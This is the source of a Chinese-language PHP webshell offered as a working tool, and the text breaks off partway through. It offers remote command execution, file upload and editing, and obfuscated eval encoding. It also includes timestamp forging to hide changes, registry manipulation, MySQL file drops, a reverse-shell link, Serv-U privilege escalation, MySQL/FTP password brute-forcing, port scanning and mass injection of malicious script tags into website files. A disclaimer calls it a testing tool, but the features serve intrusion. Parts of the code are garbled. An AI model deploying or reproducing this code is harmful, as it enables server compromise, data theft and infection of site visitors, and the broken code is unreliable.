<body style="table-layout:fixed; word-break:break-all onmouSEOver=" style="table-layout:fixed; word-break:break-all onmouSEOver="window.status='设计:幽月 仅限于网站管理员安全检测用,请务使用于非法用途,后果作者概不负责';return true" style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#626262,endColorStr=#1C1C1C)" style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,endColorStr=#1C1C1C)">
<?php //$_SERVER["DOCUMENT_ROOT"] $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'.$_SERVER['HTTP_HOST'].' </td><td align="center">'.date("Y年m月d日 h:i:s",time()).'</td><td align="right">'.gethostbyname($_SERVER['SERVER_NAME']).' </td></tr></table>','center','top'); $tb->tdbody('<a href="?dir='.$dirpath.'" href="?dir='.$dirpath.'">根目录 | <a href="?action=dir" href="?action=dir">Shell目录 | <a href="?action=phpenv" href="?action=phpenv">环境变量 | <a href="?action=proxy" href="?action=proxy">在线代理'.$reg.$phpinfo.' | <a href="?action=shell" href="?action=shell">WebShell | <a href="?action=crack" href="?action=crack">杂项破解 | <a href="?action=mix" href="?action=mix">解压mix.dll | <a href="?action=logout" href="?action=logout">注销登录'); $tb->tdbody('<a href="?action=plgm" href="?action=plgm">批量挂马 | <a href="?action=downloads" href="?action=downloads">Http文件下载 | <a href="?action=search&dir='.$dir.'" href="?action=search&dir='.$dir.'">文件查找 | <a href="?action=eval" href="?action=eval">执行php脚本 | <a href="?action=sql" href="?action=sql">执行SQL语句 | <a href="?action=mysqlfun" href="?action=mysqlfun">Func反弹Shell | <a href="?action=sqlbak" href="?action=sqlbak">MySQL备份 | <a href="?action=SUExp" href="?action=SUExp">Serv-U提权'); $tb->tablefooter(); ?> <table width="775" border="0" cellpadding="0"> <? $tb->headerform(array('method'=>'GET','content'=>'程序路径: '.$pathname.' 当前目录('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.' 跳转目录: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','确定','submit').' 〖支持绝对路径和相对路径〗')); $tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','file').' '.$tb->makeinput('doupfile','submit').$tb->makeinput('uploaddir',$dir,'hidden'))); $tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','submit'))); $tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','submit'))); ?> </table>
<?php /===================== 执行操作 开始 ===================== / echo "n"; // 删除文件 if (!empty($delfile)) { if (file_exists($delfile)) { echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!"; } else { echo basename($delfile)." 文件已不存在!"; } } // 删除目录 elseif (!empty($deldir)) { $deldirs="$dir/$deldir"; if (!file_exists("$deldirs")) { echo "$deldir 目录已不存在!"; } else { echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!"; } } // 创建目录 elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { if (!empty($newdirectory)) { $mkdirs="$dir/$newdirectory"; if (file_exists("$mkdirs")) { echo "该目录已存在!"; } else { echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!"; @chmod("$mkdirs",0777); } } } // 上传文件 elseif ($doupfile) { echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!"; } elseif($action=="mysqlup"){ $filename = $_FILES['upfile']['tmp_name']; if(!$filename) { echo"没有选择要上传的文件。。"; }else{ $shell = file_get_contents($filename); $mysql = bin2hex($shell); if(!$upname) $upname = $_FILES['upfile']['name']; $shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';"; $link=@mysql_connect($host,$password); if(!$link){ echo "登陆失败".mysql_error(); }else{ $result = mysql_query($shell,$link); if($result){ echo"操作成功.文件成功上传到".$host.",文件名为".$uppath."/".$upname.".."; }else{ echo"上传失败 原因:".mysql_error(); } } } } elseif($action=="mysqldown"){ if(!empty($downtmp)) echo $downtmp; } // 编辑文件 elseif ($_POST['do'] == 'doeditfile') { if (!empty($_POST['editfilename'])) { if(!file_exists($editfilename)) unset($retime); if($time==$now) $time = @filemtime($editfilename); $time2 = @date("Y-m-d H:i:s",$time); $filename="$editfilename"; @$fp=fopen("$filename","w"); if($_POST['change']=="yes"){ $filecontent = "?".">".$_POST['filecontent']."<?"; $filecontent = gzdeflate($filecontent); $filecontent = base64_encode($filecontent); $filecontent = "<?phpn/n代码由浅蓝的辐射鱼加密!n /neval(gzinflate(base64_decode('$filecontent')));n"."?>"; }else{ $filecontent = $_POST['filecontent']; } echo $msg=@fwrite($fp,$filecontent) ? "写入文件成功!" : "写入失败!"; @fclose($fp); if($retime=="yes"){ echo" 鱼鱼自动操作:"; echo $msg=@touch($filename,$time) ? "修改文件为".$time2."成功!" : "修改文件时间失败!"; } } else { echo "请输入想要编辑的文件名!"; } } //文件下载 elseif ($_POST['do'] == 'downloads') { $contents = @file_get_contents($_POST['durl']); if(!$contents){ echo"无法读取要下载的数据"; } elseif(file_exists($path)){ echo"很抱歉,文件".$path."已经存在了,请更换保存文件名。"; }else{ $fp = @fopen($path,"w"); echo $msg=@fwrite($fp,$contents) ? "下载文件成功!" : "下载文件写入时失败!"; @fclose($fp); } } elseif($_POST['action']=="mix"){ if(!file_exists($_POST['mixto'])){ $tmp = base64_decode($mixdll); $tmp = gzinflate($tmp); $fp = fopen($_POST['mixto'],$tmp) ? "解压缩成功!" : "此目录不可写吧?!"; fclose($fp); }else{ echo"不是吧?".$_POST['mixto']."已经存在了耶~"; } } // 编辑文件属性 elseif ($_POST['do'] == 'editfileperm') { if (!empty($_POST['fileperm'])) { $fileperm=base_convert($_POST['fileperm'],8,10); echo (@chmod($dir."/".$file,$fileperm)) ? "属性修改成功!" : "修改失败!"; echo " 文件 ".$file." 修改后的属性为: ".substr(base_convert(@fileperms($dir."/".$file),-4); } else { echo "请输入想要设置的属性!"; } } // 文件改名 elseif ($_POST['do'] == 'rename') { if (!empty($_POST['newname'])) { $newname=$_POST['dir']."/".$_POST['newname']; if (@file_exists($newname)) { echo "".$_POST['newname']." 已经存在,请重新输入一个!"; } else { echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." 成功改名为 ".$_POST['newname']." !" : "文件名修改失败!"; } } else { echo "请输入想要改的文件名!"; } } elseif ($_POST['do'] == 'search') { if(!empty($oldkey)){ echo"<span class="redfont">查找关键词:[".$oldkey."],下面显示查找的结果:"; if($type2 == "getpath"){ echo"鼠标移到结果文件上会有部分截取显示."; } echo" <hr width="775" noshade>"; find($path); }else{ echo"你要查虾米?到底要查虾米呢?有没有虾米要你查呢?"; } } elseif ($_GET['action']=='plgmok') { dirtree($_POST['dir'],$_POST['mm']); } elseif ($_GET['action'] == "plgm") { $action = '?action=plgmok'; $gm = "<script src="http://127.0.0.1" src="http://127.0.0.1">"; $tb->tableheader(); $tb->formheader($action,'批量挂马'); $tb->tdbody('网站批量挂马程序php版','center'); $tb->tdbody('文件位置: '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','60').' 要挂代码:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','批量挂马').' '.$tb->makeinput('submit','开始挂马','submit'),'1','35'); echo ""; $tb->tablefooter(); }//end plgm // 克隆时间 elseif ($_POST['do'] == 'domodtime') { if (!@file_exists($_POST['curfile'])) { echo "要修改的文件不存在!"; } else { if (!@file_exists($_POST['tarfile'])) { echo "要参照的文件不存在!"; } else { $time=@filemtime($_POST['tarfile']); echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!"; } } } // 自定义时间 elseif ($_POST['do'] == 'modmytime') { if (!@file_exists($_POST['curfile'])) { echo "要修改的文件不存在!"; } else { $year=$_POST['year']; $month=$_POST['month']; $data=$_POST['data']; $hour=$_POST['hour']; $minute=$_POST['minute']; $second=$_POST['second']; if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) { $time=strtotime("$data $month $year $hour:$minute:$second"); echo (@touch($_POST['curfile'],$time)." !" : "文件的修改时间修改失败!"; } } } elseif($do =='port'){ $tmp = explode(",",$port); $count = count($tmp); for($i=$first;$i<$count;$i++){ $fp = @fsockopen($host,$tmp[$i],$errno,$errstr,1); if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]." "; } } / 这里代码写得很杂,说实话我自己都不知道写了什么。 好在能用,我就没管了,假设有人看到干脆重写吧。 / elseif ($do == 'crack') {//反正注册为全局变量了。 if(@file_exists($passfile)){ $tmp = file($passfile); $count = count($tmp); if(empty($onetime)){ $onetime = $count; $turn="1"; }else{ $nowturn = $turn+1; $now = $turn$onetime; $tt = intval(($count/$onetime)+1); } if($turn>$tt or $onetime>$count){ echo"超过字典容量了耶~要是破解最后进程的,很抱歉失败。"; }else{ $first = $onetime ($turn-1); for($i=$first;$i<$now;$i++){ if($ctype=="mysql") $sa = @mysql_connect($host,chop($tmp[$i])); else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),chop($tmp[$i])); if($sa) { $t = "获取".$user."的密码为".$tmp[$i].""; } } if(!$t){ echo "<meta http-equiv="refresh" content="".$admin[jumpsecond].";URL=".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&ctype=".$ctype.""><span style="" style="""font-size: 12px; font-family: Verdana"><a href="" href="""".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&type=".$ctype."">字典总共".$count."个,现在从".$first."到".$now.",".$admin[jumpsecond]."秒后进行这".$onetime."个密码的试探. >>> 全历此次".$type."的破解需要".$tt."次,现在是第".$turn."次解密。"; } else { echo"$t"; } } }else{ echo"字典文件不存在,请确定。"; } } elseif($do =='port'){ if(!eregi("-",$port)){ $tmp = explode(",$port); $count = count($tmp); $first = "1"; }else{ $tmp = explode("-",$port); $first = $tmp[0]; $count = $tmp[1]; } for($i=$first;$i<$count;$i++){ if(!eregi("-",$port)){ $fp = @fsockopen($host,1); if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]." "; }else{ $fp = @fsockopen($host,$i,1); if($fp) echo"发现".$host."主机打开了端口".$i." "; } } } // 连接MYSQL elseif ($connect) { if (@mysql_connect($servername,$dbpassword) AND @mysql_select_db($dbname)) { echo "数据库连接成功!"; mysql_close(); } else { echo mysql_error(); } } // 执行SQL语句 elseif ($_POST['do'] == 'query') { @mysql_connect($servername,$dbpassword) or die("数据库连接失败"); @mysql_select_db($dbname) or die("选择数据库失败"); $result = @mysql_query($_POST['sql_query']); echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error(); mysql_close(); } // 备份操作 elseif ($_POST['do'] == 'backupmysql') { if (empty($_POST['table']) OR empty($_POST['backuptype'])) { echo "请选择欲备份的数据表和备份方式!"; } else { if ($_POST['backuptype'] == 'server') { @mysql_connect($servername,$dbpassword) or die("数据库连接失败"); @mysql_select_db($dbname) or die("选择数据库失败"); $table = array_flip($_POST['table']); $filehandle = @fopen($path,"w"); if ($filehandle) { $result = mysql_query("SHOW tables"); echo ($result) ? NULL : "出错: ".mysql_error(); while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0],$filehandle); fwrite($filehandle,"nnn"); } } fclose($filehandle); echo "数据库已成功备份到 <a href="" href="""".$path."" target="_blank">".$path.""; mysql_close(); } else { echo "备份失败,请确认目标文件夹是否具有可写权限!"; } } } } elseif($downrar) { if (!empty($dl)) { if(eregi("unzipto:",$localfile)){ $path = "".$dir."/".str_replace("unzipto:","",$localfile).""; $zip = new Zip; $zipfile=$dir."/".$dl[0]; $array=$zip->get_list($zipfile); $count=count($array); $f=0; $d=0; for($i=0;$i<$count;$i++) { if($array[$i][folder]==0) { if($zip->Extract($zipfile,$path,$i)>0) $f++; } else $d++; } if($i==$f+$d) echo "$dl[0] 解压到".$path."成功 ($f 个文件 $d 个目录)"; elseif($f==0) echo "$dl[0] 解压到".$path."失败"; else echo "$dl[0] 未解压完整 (已解压 $f 个文件 $d 个目录)"; }else{ $zipfile=""; $zip = new Zip; for($k=0;isset($dl[$k]);$k++) { $zipfile=$dir."/".$dl[$k]; if(is_dir($zipfile)) { unset($zipfilearray); addziparray($dl[$k]); for($i=0;$zipfilearray[$i];$i++) { $filename=$zipfilearray[$i]; $filesize=@filesize($dir."/".$zipfilearray[$i]); $fp=@fopen($dir."/".$filename,rb); $zipfiles[]=Array($filename,@fread($fp,$filesize)); @fclose($fp); } } else { $filename=$dl[$k]; $filesize=@filesize($zipfile); $fp=@fopen($zipfile,$filesize)); @fclose($fp); } } $zip->Add($zipfiles,1); $code = $zip->get_file(); $ck = "QQ44997 ".date("Y-m-d",time()).""; if(empty($localfile)){ header("Content-type: application/octet-stream"); header("Accept-Ranges: bytes"); header("Accept-Length: ".strlen($code)); header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip"); echo $code; exit; }else{ $fp = @fopen("".$dir."/".$localfile."","w"); echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "目录".$dir."无可写权限!"; @fclose($fp); } } } else { echo "请选择要打包下载的文件!"; } } // Shell.Application 运行程序 elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) { $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); $a = $shell->ShellExecute($_POST['program'],$_POST['prog']); echo ($a=='0') ? "程序已经成功执行!" : "程序运行失败!"; } // 查看PHP配置参数状况 elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) { echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname']).""; } // 读取注册表 elseif(($regread) AND !empty($_POST['readregname'])) { $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell'); var_dump(@$shell->RegRead($_POST['readregname'])); } // 写入注册表 elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) { $shell= &new COM('W'.'Scr'.'ipt.S'.'hell'); $a = @$shell->RegWrite($_POST['writeregname'],$_POST['regval'],$_POST['regtype']); echo ($a=='0') ? "写入注册表健值成功!" : "写入 ".$_POST['regname'].",".$_POST['regval'].",".$_POST['regtype']." 失败!"; } // 删除注册表 elseif(($regdelete) AND !empty($_POST['delregname'])) { $shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); $a = @$shell->RegDelete($_POST['delregname']); echo ($a=='0') ? "删除注册表健值成功!" : "删除 ".$_POST['delregname']." 失败!"; } else { echo "$notice"; echo "<a href="" href="""?dir=C:/Program%20Files/">Program | <a href="" href="""?dir=C:/Documents%20and%20Settings/All%20Users/Application%20Data/Symantec/pcAnywhere">pcAnywhere | <a href="" href="""?dir=C:/Documents%20and%20Settings/All%20Users/「开始」菜单/程序">开始程序 | <a href="" href="""?dir=C:/Documents%20and%20Settings/All%20Users">AllUsers | <a href="" href="""?dir=C:/Program Files/RhinoSoft.com/Serv-U">Serv-U | "; for ($i=66;$i<=90;$i++){$drive= chr($i).':'; if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title="$drive/" href="" href="""?dir=$drive/">$drive";} } } echo "
n"; /===================== 执行操作 结束 ===================== / if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { $tb->tableheader(); ?> <tr bgcolor="#cccccc"> <td align="center" nowrap width="27%">文件 </td> <td align="center" nowrap width="16%">创建日期 </td> <td align="center" nowrap width="16%">最后修改 </td> <td align="center" nowrap width="11%">大小 </td> <td align="center" nowrap width="6%">属性 </td> <td align="center" nowrap width="24%">操作 </td> </tr> <FORM action="" method="POST"> <?php // 目录列表 $dirs=@opendir($dir); $dir_i = '0'; while ($file=@readdir($dirs)) { $filepath="$dir/$file"; $a=@is_dir($filepath); if($a=="1"){ if($file!=".." && $file!="."){ $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); $dirperm=substr(base_convert(fileperms($filepath),-4); echo "<tr class=".getrowbg().">n"; echo " <td style="" style="""padding-left: 5px;"> [<a href="" href="""?dir=".urlencode($dir)."/".urlencode($file).""><font color="#006699">$file]</td>n"; echo " <td align="center" nowrap class="smlfont">$ctime</td>n"; echo " <td align="center" nowrap class="smlfont">$mtime</td>n"; echo " <td align="center" nowrap class="smlfont"><a href="" href="""?action=search&dir=".$filepath."">Search</td>n"; echo " <td align="center" nowrap class="smlfont"><a href="" href="""?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$dirperm</td>n"; echo " <td align="center" nowrap>| <a href="" href="""#" onclick="really('".urlencode($dir)."','".urlencode($file)."','你确定要删除 $file 目录吗? nn如果该目录非空,此次操作将会删除该目录下的所有文件!','1')">删除 | <a href="" href="""?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."">改名 |</td>n"; echo "</tr>n"; $dir_i++; } else { if($file=="..") { echo "<tr class=".getrowbg().">n"; echo " <td nowrap colspan="6" style="" style="""padding-left: 5px;"><a href="" href="""?dir=".urlencode($dir)."/".urlencode($file)."">返回上级目录</td>n"; echo "</tr>n"; } } } }// while @closedir($dirs); ?> <tr bgcolor="#cccccc"> <td colspan="6" height="5"></td> </tr> <? // 文件列表 $dirs=@opendir($dir); $file_i = '0'; while ($file=@readdir($dirs)) { $filepath="$dir/$file"; $a=@is_dir($filepath); if($a=="0"){ $size=@filesize($filepath); $size=$size/1024 ; $size= @number_format($size,3); if (@filectime($filepath) == @filemtime($filepath)) { $ctime=@date("Y-m-d H:i:s",@filemtime($filepath)); } else { $ctime="<span class="redfont">".@date("Y-m-d H:i:s",@filectime($filepath)).""; $mtime="<span class="redfont">".@date("Y-m-d H:i:s",@filemtime($filepath)).""; } @$fileperm=substr(base_convert(@fileperms($filepath),-4); echo "<tr class=".getrowbg().">n"; echo " <td style="" style="""padding-left: 5px;">"; echo " "; echo "<a href="" href="""$filepath" target="_blank">$file</td>n"; echo " <td align="center" nowrap class="smlfont">$ctime</td>n"; echo " <td align="center" nowrap class="smlfont">$mtime</td>n"; echo " <td align="right" nowrap class="smlfont"><span class="redfont">$size KB</td>n"; echo " <td align="center" nowrap class="smlfont"><a href="" href="""?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$fileperm</td>n"; echo " <td align="center" nowrap><a href="" href="""?downfile=".urlencode($filepath)."">下载 | <a href="" href="""?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."">编辑 | <a href="" href="""#" onclick="really('".urlencode($dir)."','".urlencode($filepath)."','你确定要删除 $file 文件吗?','2')">删除 | <a href="" href="""?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."">改名 | <a href="" href="""?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."">时间</td>n"; echo "</tr>n"; $file_i++; } }// while @closedir($dirs); if(get_cfg_var('safemode'))$z = "<a href="" href="""#" title="使用说明" onclick="alert('Php为安全模式尽量少打包内容以免脚本超时nn填写文件名则把文件保存在本地方便操作,不填则直接下载。')">(?)"; else $z = "<a href="" href="""#" title="使用说明" onclick="alert('Php运行非安全模式,打包大件请等啊等啊等啊等nn填写文件名则把文件保存在本地方便操作,不填则直接下载。')">(?)"; $tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' 本地文件:'.$tb->makeinput('localfile','15').''.$tb->makeinput('downrar','选中打包下载或本地保存','submit').' '.$z.'</td><td align="right">'.$dir_i.' 个目录 / '.$file_i.' 个文件</td></tr></table>',getrowbg(),'6'); echo "n"; echo "</table>n"; }// end dir elseif ($_GET['action'] == "editfile") { if(empty($newfile)) { $filename="$dir/$editfile"; $fp=@fopen($filename,"r"); $contents=@fread($fp,filesize($filename)); @fclose($fp); $contents=htmlspecialchars($contents); }else{ $editfile=$newfile; $filename = "$dir/$editfile"; } $action = "?dir=".urlencode($dir)."&editfile=".$editfile; $tb->tableheader(); $tb->formheader($action,'新建/编辑文件'); $tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: <input type="checkbox" name="change" value="yes" onclick="javascript:alert('这个功能只可以用来加密或是压缩完整的php代码。nn非php代码或不完整php代码或不支持gzinflate函数请不要使用!')"> '); $tb->tdbody($tb->maketextarea('filecontent',$contents)); $tb->makehidden('do','doeditfile'); $tb->formfooter('1','30'); }//end editfile elseif ($_GET['action'] == "rename") { $nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']); $action = "?dir=".urlencode($dir)."&fname=".urlencode($fname); $tb->tableheader(); $tb->formheader($action,'修改文件名'); $tb->makehidden('oldname',$dir."/".$nowfile); $tb->makehidden('dir',$dir); $tb->tdbody('当前文件名: '.basename($nowfile)); $tb->tdbody('改名为: '.$tb->makeinput('newname')); $tb->makehidden('do','rename'); $tb->formfooter('1','30'); }//end rename elseif ($_GET['action'] == "eval") { $action = "?dir=".urlencode($dir).""; $tb->tableheader(); $tb->formheader(''.$action.' "target="_blank','执行php脚本'); $tb->tdbody($tb->maketextarea('phpcode',$contents)); $tb->formfooter('1','30'); } elseif ($_GET['action'] == "fileperm") { $action = "?dir=".urlencode($dir)."&file=".$file; $tb->tableheader(); $tb->formheader($action,'修改文件属性'); $tb->tdbody('修改 '.$file.' 的属性为: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),-4))); $tb->makehidden('file',$file); $tb->makehidden('dir',urlencode($dir)); $tb->makehidden('do','editfileperm'); $tb->formfooter('1','30'); }//end fileperm elseif ($_GET['action'] == "newtime") { $action = "?dir=".urlencode($dir); $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); $tb->tableheader(); $tb->formheader($action,'克隆文件最后修改时间'); $tb->tdbody("修改文件: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文件: ".$tb->makeinput('tarfile','需填完整路径及文件名'),'2','30'); $tb->makehidden('do','domodtime'); $tb->formfooter('','30'); $tb->formheader($action,'自定义文件最后修改时间'); $tb->tdbody('有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07 (该日期根据 32 位有符号整数的最小值和最大值而来) 说明: 日取 01 到 30 之间,时取 0 到 24 之间,分和秒取 0 到 60 之间! ','left'); $tb->tdbody('当前文件名: '.$file); $tb->makehidden('curfile',$file); $tb->tdbody('修改为: '.$tb->makeinput('year','1984','4').' 年 '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' 月 '.$tb->makeinput('data','18','2').' 日 '.$tb->makeinput('hour','20','2').' 时 '.$tb->makeinput('minute','00','2').' 分 '.$tb->makeinput('second','2').' 秒','modmytime'); $tb->formfooter('1','30'); }//end newtime elseif ($_GET['action'] == "shell") { $action = "??action=shell&dir=".urlencode($dir); $tb->tableheader(); $tb->tdheader('WebShell Mode'); if (substr(PHP_OS,3) == 'WIN') { $program = isset($_POST['program']) ? $_POST['program'] : "c:winntsystem32cmd.exe"; $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; echo "<form action="?action=shell&dir=".urlencode($dir)."" method="POST">n"; $tb->tdbody('无回显运行程序 → 文件: '.$tb->makeinput('program',$program).' 参数: '.$tb->makeinput('prog',$prog,'40').' '.$tb->makeinput('','Run','35'); $tb->makehidden('do','programrun'); echo "n"; } echo "<form action="?action=shell&dir=".urlencode($dir)."" method="POST">n"; if(isset($_POST['cmd'])) $cmd = $_POST['cmd']; $tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. '); $tb->tdbody('proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.'); $tb->tdbody('proc_open函数要使用的cmd程序的位置:'.$tb->makeinput('cmd',$cmd,'30').'(要是是linux系统还是大大们自己修改吧)'); $execfuncs = (substr(PHP_OS,3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','proc_open'=>'proc_open'); $tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'60').' '.$tb->makeinput('','submit')); ?> <tr class="secondalt"> <td align="center">